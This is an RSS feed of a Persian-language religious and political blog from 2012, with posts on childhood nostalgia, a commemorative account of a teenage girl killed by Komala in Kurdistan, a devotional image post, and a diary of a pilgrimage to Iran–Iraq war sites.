﻿<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
  <channel>
    <title>پشت خاکریزهای امروز...</title>
    <description>گاهی همراه حسین بودن دلیل حق بودن نیست ،تا کربلا رفتن وجان فدا نمودن ،علامت حسینی بودن است.</description>
    <link>http://montazer313.persianblog.ir/</link>
    <copyright>PersianBlog</copyright>
    <managingEditor>سید ابوالفضل حسینی</managingEditor>
    <lastBuildDate>Thu, 10 May 2012 09:30:55 GMT</lastBuildDate>
    <docs>http://backend.userland.com/rss</docs>
    <generator>PersianBlog</generator>
    <item>
      <title>با شما نیستم</title>
      <description>&lt;p dir="RTL"&gt;این روزها دوست دارم دائم وبی هیچ بهانه ای سراغ بچگی هایم بروم!چقدرشیرین بود؛هم دوستی هایمان وهم دعواها! نگاه های غضبناکمان پراز محبت بود؛قهر می کردیم تا قیامت ولحظه ای بعد قیامت می شد!از صبح الاطلوع سرگرم بازی وبازیگوشی توی کوچه بودیم تا لنگ ظهر که با کتک برمی گشتیم خونه وبه محض خوابیدن بابا ومامان ؛به قول دوستان الفرار...دوباره جمع می شدیم توی کوچه وزیر نگاه گرم افتاب مشغول بازی می شدیم وشب از راه نرسیده از فرط خستگی والبته به شوق فردا می خوابیدیم.&lt;/p&gt;
&lt;p dir="RTL"&gt;همیشه با هم بودییم .همه ی بازی هامون گروهی بود ودر کنار همدیگه بازی می کردیم.استراتزی خُرد وکلانمان دوستی ومحبتمان به هم بود.فارغ از نتیجه و جر وبحث ها همیشه برنده بودیم(البته بُرد از نوع قدیمیش چون این روزها بُرد،بُرد است به هر قیمتی که باشد)آن روزها محبت,یکدلی ،هم صدایی واحترام سرپرستی تمام حرکات ما را بر عهده داشت.&lt;/p&gt;
&lt;p dir="RTL"&gt;قرارم با دوستانم ...همون هایی که یک روز حین بازی نزدیک بود کورم کنند را فراموش نکردم...اولین کسی که گریه می کردخودش بود که با همون اشک ها درد رو از یادم می برد ویه هو می زدیم زیر خنده...از اشکهامون به خنده می رسسیدیم!! اما امروز بعضی خنده ها آدم رو به گریه میندازه!امروز بجای بازی درکنار هم دیگه ، جنگ می کنیم اونم توی زمین همدیگه.متنفرم از برشمردن خصلت های امروز.&lt;/p&gt;
&lt;p dir="RTL"&gt;خوشی های اون روز ها رو هیچ کس با خودش نیاورده؛هرکی هم که آورده فقط عذاب می کشد وزجر می کشد.چون فکر می کنه سیستم همون سیستم گذشته هست.غافل از اینکه امروز با وجود طرح استراتژی های کوتاه مدت وبلند مدت ،استخدام مربی وبخدمت گرفتن چند متخصص، هرکی ساز خودش را می زنه . احترام ها ، دوستی ها ، محبت ها...همه وهمه ،رنگ وبویی خاص به خودش گرفته...ادامه دارد واما فعلا ادامه دادنش نمی آید که ما نیز حوصله ادامه دادن را نداریم...&lt;/p&gt;
&lt;p dir="RTL"&gt;پی نوشت ها:&lt;/p&gt;
&lt;p dir="RTL"&gt;1-آنچه در بالا نوشتیم خطابه به هیچ شخص حقیقی وحقوقی نبوده ؛اگرم هم بوده ،خب حتما صاحبش بوده.&lt;/p&gt;
&lt;p dir="RTL"&gt;2-بالا نوشته های ما،مارا ازقاعده خود مستثنی نمی کند.&lt;/p&gt;
&lt;p dir="RTL"&gt;3-لطفا دست پیش را نگیرید!&lt;/p&gt;</description>
      <link>http://montazer313.persianblog.ir/post/146</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/9415089/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-9415089</guid>
      <pubDate>Thu, 10 May 2012 09:30:55 GMT</pubDate>
    </item>
    <item>
      <title>وقتی الگو فاطمه(س)باشد...</title>
      <description>&lt;p style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px/17px Tahoma; direction: rtl; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;او دختر 16 ساله&amp;zwnj;ای بود که 11 ماه توسط ضدانقلاب شکنجه شد؛ موهای سرش را تراشیده و ناخن دست و پایش را کشیدند تا به امام خمینی(ره) توهین کند اما او شهادت را به زندگی با ذلت ترجیح داد.&lt;img src="http://rajanews.com/Files_Upload/54765.jpg" alt="" width="250" height="150" align="left" /&gt;&lt;/p&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&amp;nbsp;تاریخ تکرار می&amp;zwnj;شود؛ روزگاری می&amp;zwnj;رفت که زمین و آسمان از جهالت خسته شود؛ پیامبر اکرم(ص) ظهور کرد و بت&amp;zwnj;ها را بیرون راند و از دل&amp;zwnj;های غبارگرفته زدود. تمام غبارها را از دل&amp;zwnj; سمیه همسر یاسر و مادر عمار ربود و همین زدودن&amp;zwnj; غبار دل&amp;zwnj;ها، ابوجهل&amp;zwnj;ها را بر آن داشت تا سمیه را زیر بار سنگین شکنجه&amp;zwnj;ها قرار دهد تا به اسلام توهین کند؛ او زیر بار شکنجه&amp;zwnj;ها به شهادت رسید به جرم گرویدنش به دین مبین اسلام و ایمان آوردن به پیامبر اکرم(ص).&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;بیش از 1400 سال بعد، سمیه دیگری پرچم دفاع از اسلام را بلند کرد؛&amp;zwnj; آن هم در خطه کردستان که هنوز هم نام و یادش در ذهن مردمان سرزمین&amp;zwnj;اش جاودانه و زنده است.&lt;/div&gt;&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;نام سمیه شهید ایران &amp;laquo;ناهید فاتحی&amp;zwnj;کرجو&amp;raquo; است، پدرش پرسنل ژاندارمری بود و مادرش خانه&amp;zwnj;دار. او از کودکی هم قلب مهربانی داشت، اغلب لباس&amp;zwnj;ها و وسایلش را به دیگران هدیه می&amp;zwnj;کرد. از دوره نوجوانی با گروه&amp;zwnj;های مبارز مسلمان همکاری نزدیک داشت و دیگر همسالانش را نسبت به ظلم و ستم رژیم پهلوی آگاه می&amp;zwnj;کرد. بعد از درخشیدن نوری از قلب زمین، این نوجوان 13 ساله، از یاران روح&amp;zwnj;الله شد.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&lt;strong&gt;* جلوی تلویزیون ایستاد و با امام درددل کرد&lt;/strong&gt;&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&amp;laquo;محمود فاتحی کرجو&amp;raquo; پدر شهیده می&amp;zwnj;گوید: ناهید، مذهبی و نترس بود. در جلسات قرآن و جلسات مبارزه با رژیم شاه شرکت می&amp;zwnj;کرد و درباره جلساتی که شرکت کرده بود، با دیگران صحبت می&amp;zwnj;کرد. در راهپیمایی&amp;zwnj;های انقلاب حضور داشت و با دیدن عکس و پوستر شهدا منقلب می&amp;zwnj;شد.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;به امام خمینی(ره) علاقه زیادی داشت. روز 12 بهمن که برای نخستین بار، امام(ره) را در تلویزیون دید، با صدای بلند مرا صدا کرد و گفت &amp;laquo;بابا این آقای خمینی است&amp;raquo;. دستش را روی صفحه تلویزیون کشید و گفت &amp;laquo;خیلی دوست دارم از نزدیک با او صحبت کنم&amp;raquo; و جلوی تلویزیون ایستاد و شروع کرد به درد دل کردن با امام.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&lt;strong&gt;* ناهید، خیلی زیبا دعا و قرآن می&amp;zwnj;خواند&lt;/strong&gt;&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;مریم فاتحی کرجو خواهر این شهیده ادامه می&amp;zwnj;دهد: ناهید به قرآن علاقه زیادی داشت. در ماه مبارک رمضان حتماً در کلاس قرآن شرکت می&amp;zwnj;کرد و قرآن را ختم می&amp;zwnj;کرد. خیلی زیبا دعا و قرآن می&amp;zwnj;خواند. دعاهای ائمه را با حزن خاصی می&amp;zwnj;خواند و ما از خواندن او لذت می&amp;zwnj;بردیم.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&lt;strong&gt;* ایستادگی سمیه کردستان در مقابل ساواک &amp;nbsp;&lt;/strong&gt;&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;یکی از دوستان شهید &amp;laquo;ناهید فاتحی&amp;zwnj;کرجو&amp;raquo; بیان می&amp;zwnj;دارد: سال 1357، تظاهرات زیادی در سنندج برگزار می&amp;zwnj;شد. یک روز، در خانه مشغول کار بودم که متوجه سر و صدای زیادی شدم. از خانه بیرون رفتم. ناهید و مادرش در خیابان بودند و همسایه&amp;zwnj;ها دور و بر آنها جمع شده بودند. خیلی ترسیدم. سر و صورت ناهید زخمی و کبود شده بود و با فریاد از جنایات رژیم پهلوی و درنده خویی&amp;zwnj;های ساواک می&amp;zwnj;گفت. گویا در تظاهرات او را شناسایی کرده و کتک زده بودند و قصد دستگیری او را داشتند.&amp;nbsp;&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;آن قدر با باتوم و شلاق به او زده بودند که پشتش سیاه و کبود شده بود. درد زیادی داشت که نمی&amp;zwnj;توانست بایستد.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&lt;strong&gt;* نفوذ یک کومله در زندگی سمیه کردستان&lt;/strong&gt;&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;لیلا فاتحی&amp;zwnj;کرجو خواهر شهیده می&amp;zwnj;گوید: ناهید 15 ساله بود که خواستگار داشت. خواستگار او شغل، درآمد و وضعیت خوبی داشت و اصرار زیادی به این ازدواج داشت. ناهید هم راضی نبود. فاصله سنی زیادی با آن مرد داشت و می&amp;zwnj;گفت &amp;laquo;من هنوز به سن ازدواج نرسیده&amp;zwnj;ام&amp;raquo;. مراسم نامزدی مختصری برگزار شد. کم کم متوجه شدیم داماد با ما سنخیتی ندارد.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;بعضی وقت&amp;zwnj;ها رفتار مشکوکی از خود نشان می&amp;zwnj;داد. چندی بعد او را به خاطر فعالیت&amp;zwnj;های ضدانقلابی&amp;zwnj;اش و در حین ارتکاب جرم دستگیر کردند. ما آن وقت بود که فهمیدیم از اعضای کومله بوده است و بعد از محاکمه اعدام شد. ناهید اصلاً او را دوست نداشت و نمی&amp;zwnj;خواست چیزی از او بداند. ناهید را برای بازجویی هم برده بودند. اما چون چیزی نمی&amp;zwnj;دانست بعد از مدتی او را آزاد کردند.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;بعد از قضیه نامزدی&amp;zwnj;اش، تمام فکر و ذهنش مطالعه و خواندن قرآن بود. اما خیلی به او فشار آمده بود. تحمل حرف مردم را نداشت. او هم تودار بود. حرف و کنایه&amp;zwnj;های مردم را می&amp;zwnj;شنید و تو دلش می&amp;zwnj;ریخت و دم نمی&amp;zwnj;زد. در واقع فشار مضاعفی را تحمل می&amp;zwnj;کرد. از یک طرف مردم می&amp;zwnj;گفتند &amp;laquo;او جاسوس کومله است چون نامزدش کومله بوده&amp;raquo;، از طرف دیگر می&amp;zwnj;گفتند &amp;laquo;او جاسوس سپاه است و نامزدش را لو داده است&amp;raquo;. بعد از اعدام نامزدش و سختی&amp;zwnj;هایی که متحمل شده بود، معمولا هر جا می&amp;zwnj;رفت، من همراه او بودم.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&lt;strong&gt;* زمستانی که کومله ناهید را به اسارت گرفت&amp;nbsp;&lt;/strong&gt;&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;لیلا فاتحی&amp;zwnj; کرجو ادامه می&amp;zwnj;دهد: روز دوشنبه بود؛ در روزهای سرد دی&amp;zwnj; ماه 1360 ناهید بیمار شد به طوری که باید دکتر می&amp;zwnj;رفت. من در حال شستن رخت بودم. قرار شد او برود و من بعد از تمام شدن کارم، پیش او بروم. درمانگاه در میدان آزادی سنندج بود. نیم ساعت بعد کارم تمام شد و به سمت درمانگاه رفتم. مطب تعطیل شده بود. دور و برم را گشتم. خبری از ناهید نبود. به خانه برگشتم. مادرم مطمئن بود که اتفاقی نیفتاده است. با اطمینان از پاکدامنی دخترش می&amp;zwnj;گفت &amp;laquo;حتماً کاری داشته است، رفته دنبال کارش، هر کجا باشد برمی&amp;zwnj;گردد؛ دختر سر به هوا و بی&amp;zwnj;فکری نیست&amp;raquo;.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;مادر به من هم دلداری می&amp;zwnj;داد. شب شد، اما او برنگشت. فردا صبح مادرم به دنبال گمشده&amp;zwnj;اش به خیابان&amp;zwnj;ها رفت. از همه کسانی که او را می&amp;zwnj;شناختند پرس و جو کرد. از دوستان، همکلاسی&amp;zwnj;ها، مغازه&amp;zwnj;دارها و ... پرسید. تا اینکه چند نفر از افرادی که او را می&amp;zwnj;شناختند، گفتند &amp;laquo;ناهید را در حالی که چهار نفر او را دور کرده بودند، دیده&amp;zwnj;اند که سوار مینی&amp;zwnj;بوس شده است&amp;raquo;. مادرم، راننده مینی&amp;zwnj;بوس را که آنها را سوار کرده بود پیدا کرد و از او درباره ناهید پرسید. راننده اول می&amp;zwnj;ترسید اما با اصرار مادرم گفت که &amp;laquo;آنها را در یکی از روستاهای اطراف سنندج پیاده کرده است&amp;raquo;.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&lt;strong&gt;* جست&amp;zwnj;وجوی مادر برای پیدا کردن ناهید و نامه&amp;zwnj;های تهدید&amp;zwnj;آمیز کومله&lt;/strong&gt;&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;لیلا فاتحی&amp;zwnj;کرجو می&amp;zwnj;گوید: مادرم، با کرایه&amp;zwnj; قاطر یا با پای پیاده، روستاهای اطراف را گشت، اما او را پیدا نکرد. پس از ربوده شدن ناهید، مرتب نامه&amp;zwnj;های تهدید کننده به خانه ما می&amp;zwnj;انداختند، زنگ خانه را می&amp;zwnj;زدند و فرار می&amp;zwnj;کردند. در آن نامه&amp;zwnj;ها، خانواده&amp;zwnj; را تهدید کرده بودند که اگر با نیروهای سپاه و پیشمرگان کرد همکاری کنید، بقیه فرزندان&amp;zwnj;تان را می&amp;zwnj;دزدیم یا اینکه می&amp;zwnj;نوشتند شبانه به خانه&amp;zwnj;تان حمله می&amp;zwnj;کنیم و فرزندان را جلوی چشم مادرشان خواهیم کشت. زمان سختی بود. بچه&amp;zwnj;ها سن زیادی نداشتند. مادرم هم باردار بود. اضطراب و نگرانی در خانه حاکم بود. مادرم همه جا را می&amp;zwnj;گشت تا خبری از ناهید بگیرد.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;سیده زینب مادر شهیده &amp;laquo;ناهید فاتحی&amp;zwnj;کرجو&amp;raquo; در زمستان سخت و سرد کردستان به همه جا سر می&amp;zwnj;کشید، گاهی بعضی از فرصت طلبان از او مبالغ زیادی پول می&amp;zwnj;گرفتند تا آدرس یا خبری از ناهید به او بدهند و آدرس قلابی می&amp;zwnj;دادند. خیلی او و خانواده&amp;zwnj;اش را اذیت می&amp;zwnj;کردند. او تمام شهرهای کردستان را به دنبال ناهید گشت، اما اثری از او پیدا نکرد. سقز، بوکان، دیواندره، مریوان، آبادی&amp;zwnj;های اطراف شهرهای مختلف، ... هر کجا که می&amp;zwnj;گفتند کومله مقر دارد، می&amp;zwnj;رفت. نیروهای پاسدار هم از اسارت ناهید خبر داشتند و آنها هم به دنبال ناهید و دیگر اسرا می&amp;zwnj;گشتند.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&lt;strong&gt;* کومله&amp;zwnj;ها موهای سر ناهید را تراشیده و او را در روستا می&amp;zwnj;گردانند&lt;/strong&gt;&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;شهلا فاتحی کرجو خواهر شهیده اضافه می&amp;zwnj;کند: خبر به ما رسید که کومله&amp;zwnj;ها، موهای سر ناهید را تراشیده و او را در روستا می&amp;zwnj;گردانند. شرط رهایی ناهید را توهین به حضرت امام(ره) قرار داده بودند اما ناهید استقامت کرده و در برابر این خواسته آنها، شهادت را بر زنده بودن و زندگی با ذلت ترجیح داده بود.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;مردم روستا، در آن شرایط سخت که جرأت دم زدن نداشتند، به وضعیت شکنجه وحشیانه&amp;zwnj; این دختر اعتراض کرده بودند. بعد از مدتی به آنها گفته شد، او را آزاد کرده&amp;zwnj;اند.&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;&lt;strong&gt;* و اما زنده به گور کردن سمیه کردستان توسط ضدانقلاب&lt;/strong&gt;&lt;/div&gt;
&lt;div style="text-align: justify; widows: 2; text-transform: none; background-color: #ffffff; text-indent: 0px; font: 13px Tahoma; white-space: normal; orphans: 2; letter-spacing: normal; color: #000000; word-spacing: 0px;"&gt;ناهید فقط &amp;nbsp;16سال داشت؛ او را به شدت شکنجه کرده بودند. موهای سرش را تراشیده بودند. هیچ ناخنی در دست و پا نداشت. جای جای سرش کبود و شکسته بود. پس از شکنجه&amp;zwnj;های بسیار او را در آذر ماه 1361 زنده به گور کردند و پیکر مطهر این شهیده به تهران منتقل و سپس در گلزار شهدای بهشت زهرا(س) به خاک سپرده شد.&lt;/div&gt;</description>
      <link>http://montazer313.persianblog.ir/post/145</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/9342443/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-9342443</guid>
      <pubDate>Fri, 27 Apr 2012 07:12:11 GMT</pubDate>
    </item>
    <item>
      <title>السلام علیک یا فاطمه الزهرا(س)</title>
      <description>&lt;div align="center"&gt;&amp;nbsp;&lt;/div&gt;
&lt;div align="center"&gt;&lt;strong&gt;&lt;span style="color: #ff0000; font-size: large;"&gt;وای مادرم...&lt;/span&gt;&lt;/strong&gt;&lt;/div&gt;
&lt;div align="center"&gt;&lt;a style="color: #ff7fa9;" href="http://www.askdin.com/gallery/images/8087/1_Islamic-Wallpapers-00069-_yasinmedia_com_.jpg" target="_blank"&gt;&lt;img class="tcattdimgresizer" src="http://www.askdin.com/gallery/images/8087/medium/1_Islamic-Wallpapers-00069-_yasinmedia_com_.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;</description>
      <link>http://montazer313.persianblog.ir/post/144</link>
      <author>سید ابوالفضل حسینی</author>
      <comments>http://montazer313.persianblog.ir/comments/339890/9294790/</comments>
      <guid isPermaLink="False">tag:Persianblog.ir,2003:blog-339890.post-9294790</guid>
      <pubDate>Wed, 18 Apr 2012 15:11:21 GMT</pubDate>
    </item>
    <item>
      <title>چه زود گذشت...</title>
      <description>&lt;p style="text-align: justify;" dir="RTL"&gt;عرض سلام ودرود خدمت دوستان خودم بخاطر غیبت طولانی مدتم در آپ کردن وبلاگم باید ببخشید حقیقتا نمی دونم چرا ولی خوب توی این مدت دلنوشته هایی داشتم که نوشتم ولی توی وب نزاشتم.ولی دلم نیومد از حال وهوای ایام عید پارسال توی یه همچین ساعاتی(چند ساعت مونده به سال تحویل) براتون نگم ،همین که یه تجدید خاطره ای برای خودم میشه وهمین که حسرت می خورم،&amp;nbsp; امسال اونجا نیستم.&lt;/p&gt;
&lt;p dir="RTL"&gt;پارسال دقیقا بعد از 3روز شناسایی اردوی جهادی ،قرار گذاشته بودیم که از27اسفند یه اردوی چند روزه راهیان نور به مناطق عملیاتی بریم وانشاالله شب عید هم &lt;span style="color: #ff0000;"&gt;شلمچه&lt;/span&gt; باشیم.بگذریم از اینکه قراربود ساعت 7صبح حرکت کنیم که به دلیل خرابی ماشین وخوش قولی راننده ! اردو تا مرز کنسلی هم پیش رفت ولی بالاخره ساعت11:30 از ماهشهر به سمت اهواز حرکت کردیم که بعد از زیارت حرم علی ابن مهزیار وخوندن نماز ،نهار رو توی فضای سبز روبروی حرم خوردیم وراه افتادیم به سمت &lt;span style="color: #ff0000;"&gt;فتح المبین&lt;/span&gt; (شهرستان شوش).&lt;/p&gt;
&lt;p style="text-align: justify;" dir="RTL"&gt;&lt;span style="color: #ff0000;"&gt;فتح المبین&lt;/span&gt; که رسیدیم بعد از بازدید با دو تا از دوستان نشستیم وزیارت عاشورا خوندیم که صدای اذان بلند شد ؛نماز رو هم همونجا خوندیم وبا توجه به اینکه برای اسکان شب ،&lt;span style="color: #ff0000;"&gt;شرهانی&lt;/span&gt; هماهنگ کرده بودیم ،حرکت کردیم به سمت&lt;span style="color: #ff0000;"&gt; شرهانی&lt;/span&gt;.&lt;/p&gt;
&lt;p dir="RTL"&gt;&lt;img style="cursor: -moz-zoom-in; display: block; margin-left: auto; margin-right: auto;" src="http://img4up.com/up2/56194657778553166483.jpg" alt="http://img4up.com/up2/56194657778553166483.jpg" width="218" height="163" /&gt;&lt;/p&gt;
&lt;p style="text-align: justify;" dir="RTL"&gt;بگذریم از اینکه جاده &lt;span style="color: #ff0000;"&gt;شرهانی&lt;/span&gt; خلوت بودو ما احساس می کردیم جاده رو اشتباه اومدیم(البته دست بچه های ستاد راهیان نور درد نکنه ،توی مسیر دائم باهاشون در تماس بودیم وازشون کمک می گرفتیم" رسیدیم دژبانی &lt;span style="color: #ff0000;"&gt;شرهانی&lt;/span&gt; .چشمتون روز بد نبینه ،دقیقا همون روز به دژبانی اطلاع داده بودند که از ساعت 5عصر به بعد هیچ کاروانی اجازه ورود نداره .حالا ما هرکاری میکنیم که سرباز دژبانی رو راضی وحالی کنیم که بابا ما قبلا هماهنگ کردیم راضی نمی شد تا بلاخره با یکی از مسئولین اونجا تماس گرفتیم وگفتیم که با این سرباز صحبت کنه تا اجازه ورود به ما بدن.که البته با این حال چون مرز &lt;span style="color: #ff0000;"&gt;شرهانی&lt;/span&gt; دست ارتش بود سرباز راضی نشد تا اینکه اون بنده خدا حضوری اومد وبالاخره پس از کش وقوص های طولانی ما وارد منطقه شدیم.هوا سرد بود واما مزار شهدای گمنام وغربت اونجا اونقدر گرما داشت که بچه هارو چند ساعتی کنار مزار شهدا&amp;nbsp; نگه داشت.&lt;/p&gt;
&lt;p dir="RTL"&gt;&lt;img style="cursor: -moz-zoom-in; display: block; margin-left: auto; margin-right: auto;" src="http://img4up.com/up2/93026320912642751195.jpg" alt="http://img4up.com/up2/93026320912642751195.jpg" width="225" height="169" /&gt;&lt;/p&gt;
&lt;p style="text-align: justify;" dir="RTL"&gt;صبح روز 28اسفند بعد از بازدید از منطقه&amp;nbsp; که با روایت گری یکی از مسئولین منطقه انجام شدبه سمت &lt;span style="color: #ff0000;"&gt;یادمان شهدای هویزه&lt;/span&gt; حرکت کردیم که چون مسیر طولانی بود دور رسیدیم واونجا هم بعداز &amp;nbsp;زیارت قرار بود بریم&lt;span style="color: #ff0000;"&gt; فکه&lt;/span&gt; که چون نزدیک غروب بود مجبور شدیم مستقیم بریم به سمت &lt;span style="color: #ff0000;"&gt;خرمشهر&lt;/span&gt; که توی این فاصله هم با یکی از دوستان برای اسکان هماهنگ کردیم وشب رو توی یه حسینیه توی&lt;span style="color: #ff0000;"&gt; خرمشهر&lt;/span&gt; بودیم.&lt;/p&gt;
&lt;p style="text-align: justify;" dir="RTL"&gt;&lt;img style="cursor: -moz-zoom-in;" src="http://img4up.com/up2/91647518254066115681.jpg" alt="http://img4up.com/up2/91647518254066115681.jpg" width="185" height="139" /&gt;&lt;/p&gt;
&lt;p dir="RTL"&gt;&lt;img style="cursor: -moz-zoom-in; display: block; margin-left: auto; margin-right: auto;" src="http://img4up.com/up2/17003764917251702602.jpg" alt="http://img4up.com/up2/17003764917251702602.jpg" width="200" height="150" /&gt;&lt;/p&gt;
&lt;p dir="RTL"&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style="text-align: justify;" dir="RTL"&gt;از خاطرات اون شب هم که بگذریم صبح روز29 اسفند رفتیم&lt;span style="color: #ff0000;"&gt; اروند کنار&lt;/span&gt; که خیلی شلوغ بود وما مجبور شدیم نزدیک به یک کیلومتری رو&amp;nbsp; از ماشین پیاده بشیم وپیاده بریم (که همون هم خیلی زمان برد)تازه توی این بین یه پسر بچه اندونزیایی هم کاروانش رو گم کرده بود وماهم دنبال کاروان این بنده خدا که بالاخره پیدا شد وبچه رو سالم تحویل پدر ومادرش دادیم بعد از اون من به اتفاق دوتا از دوستانم همراه یک کاروان دیگه نزدیک شط نشستیم وبه صحبت های راوی گوش می دادیم.خلاصه اینکه نماز ظهر رو هم اونجا اقامه کردیم وبعد از نماز هم&amp;nbsp; یه سر رفتیم نمایشگاه های کتاب وحجاب رو دیدیم ویه کم سوغاتی گرفتیم واومدیم سوار شدیم وحرکت به سمت &lt;span style="color: #ff0000;"&gt;شلمچه&lt;/span&gt;.&lt;/p&gt;
&lt;p dir="RTL"&gt;&lt;img style="cursor: -moz-zoom-in; display: block; margin-left: auto; margin-right: auto;" src="http://up98.org/upload/server1/02/e/vndl5ppbhyqsf95tfeh.jpg" alt="http://up98.org/upload/server1/02/e/vndl5ppbhyqsf95tfeh.jpg" width="234" height="175" /&gt;&lt;/p&gt;
&lt;p style="text-align: justify;" dir="RTL"&gt;اگه اشتباه نکنم حوالی اذان مغرب رسیدیم شلمچه ؛کربلای ایران چه صفایی داشت آن شب. نماز خواندیم وچند دقیقه ای هم استراحت(کلا این چند روز خوب نخوابیده بودیم)وبعد شام خوردیم . هوا سرد بود واما کم کم باید تدارک سفره هفت سین را میدیدیم که وسایل را از ماشین بیرون آوردیم ورفیم گوشه ای را انتخاب کردیم وبچه ها زحمت سفره را کشیدند ؛پر شده بود از هفت سین واما یکی بیشترنمود داشت...هفت سین شهدا...قبل از تحویل سال داشتیم زیارت عاشورا می خواندیم که دائم چُرت می رفتیم وخلاصه هفت سین کنار &lt;span style="color: #ff0000;"&gt;شهدا&lt;/span&gt; بودن...با &lt;span style="color: #ff0000;"&gt;شهدا&lt;/span&gt; بودن...&lt;span style="color: #ff0000;"&gt;شلمچه&lt;/span&gt; بودن....کمی نزدیکتر به کربلا....بی نظیر بود&lt;/p&gt;
